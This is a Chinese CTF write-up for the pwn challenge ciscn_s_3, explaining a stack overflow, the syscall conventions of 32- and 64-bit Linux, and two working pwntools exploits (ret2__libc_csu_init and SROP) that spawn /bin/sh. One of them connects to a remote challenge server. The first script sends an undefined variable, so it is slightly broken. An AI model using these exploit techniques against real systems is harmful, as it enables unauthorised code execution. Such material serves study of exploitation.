第一次周练中的ciscn_s_3中有涉及到SROP知识点,复习一下

ciscn_s_3

放到gdb里看一下保护

checksec

没开什么特别的保护,丢到ida里面看看,它main函数里面只有一个vuln函数,而vuln函数就只有短短几行,但里面有两个系统调用,一处是sys_read,向栈上读取数据(0x400),一处是sys_write,向栈上写入数据(0x30),这里就存在栈溢出。

vuln函数




然后还发现一个gadgets函数,在这个函数中有两处出现了给rax赋值,分别赋值0x0F,0x3B,然后这个涉及到系统调用号的问题。

gadgets函数

32位与64位 系统调用的区别:

  1. 传参方式不同
  2. 系统调用号 不同
  3. 调用方式 不同


32位:

传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4

调用方式: 使用 int 80h 中断进行系统调用

64位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1

stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

然后这里的0x0F就是15,0x3B就是59,所以这边的两个64位的系统调用号都可以使用,所以就有两个方法

第一种;ret2__libc_csu_init

第一种就是利用 ret2__libc_csu_init 去构造 execve(“/bin/sh”,0,0) 来 getshell

这种方法我们就需要

  • 系统调用号,即 rax 应该为 0x3B
  • 第一个参数,即 rdi 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 rsi 应该为 0
  • 第三个参数,即 rdx 应该为 0


通过查询





在这里面只发现了rdi_ret,这个gadget还不够,就需要我们去ida里__libc_csu_init函数里去寻找




这里的retn代表着pop rip即将当前栈顶的内容赋值给rip.r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
c=process('./ciscn')

exev_addr=0x004004E2
pop_rdi_ret=0x004005a3
pop_rbx_rbp_ret=0x0040059A
__libc_csu_init=0x00400580
syscall_addr=0x00400517
vuln_addr=0x004004ED

payload = ''
payload += '/bin/sh\x00'+'a'*0x8+p64(vuln_addr)
c.sendline(payload)
c.recv(0x20)
stack_addr=u64(c.recv(8))
bin_sh=stack_addr-0x118

pload = ''
pload += '/bin/sh\x00'+'a'*8+p64(pop_rbx_rbp_ret)
pload +=p64(0)*2+p64(bin_sh+0x50)+p64(0)*3
pload += p64(__libc_csu_init)+p64(exev_addr)+p64(pop_rdi_ret)+p64(bin_sh)+p64(syscall_addr)

c.send(pl)
c.interactive()

第二种: SROP

第二种就是直接srop 伪造 sigreturn frame 去 构造 execve(“/bin/sh”,0,0) 来 getshell

首先利用 mov rax, 0Fh 控制rax为 15,然后 调用 syscall 即执行了 sigreturn,我们 伪造 sigreturn frame 去 执行 execve(“/bin/sh”,0,0) 即可

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.arch = 'amd64'
c = remote('106.15.120.40',8001)


syscall_addr = 0x00400517
read_write = 0x004004F1
gadget= 0x004004DA

payload = ''
payload += '/bin/sh\x00'+'a'*0x8+p64(read_write)
c.send(payload)
c.recv(0x20)
stack_addr = u64(c.recv(8).ljust(8,'\x00'))
print(hex(stack_addr))
binsh_addr= stack_addr-0x118


frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload = 'a'*0x10 +p64(gadget)+p64(syscall_addr)+str(frame)
c.send(payload)

c.interactive()